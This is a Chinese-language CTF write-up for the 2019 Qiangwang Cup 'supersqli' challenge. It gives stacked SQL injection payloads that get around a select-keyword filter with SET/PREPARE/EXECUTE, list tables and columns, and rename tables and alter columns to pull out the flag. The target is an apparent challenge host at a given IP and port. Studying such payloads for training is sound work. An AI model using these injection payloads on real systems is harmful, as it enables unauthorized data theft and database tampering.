2019-强网杯supersqli
随便输入一下发现select等关键词被过滤
尝试绕过关键词,%0a、<\a>、十六进制,内联注释都不行
解法一
前置知识:堆叠注入
显示列信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema="" and table_name=""
使用;
分隔命令,从而执行多个命令
payload:爆数据库
1 | 1'/**/and/**/extractvalue(1,concat(0x7e,database()))%23 |
payload:看表名
1 | 1';use/**/supersqli;show/**/tables%23 |
payload: 看1919810931114514内的字段
1 | 1';use/**/supersqli;show/**/columns/**/from/**/`1919810931114514`%23 |
payload:看flag
1 | 1';use/**/supersqli;SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`');PREPARE/**/PRE/**/from/**/@sql;execute/**/PRE;%23 |
知识:
1 | SET/**/@sql=concat('s','elect/**/`flag`/**/from/**/`1919810931114514`'); #设置变量 |
解法二
由于数据库默认从words数据库中获取,所以可以更改数据库名字从含flag的数据库里面取数据
1 | http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100); |
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;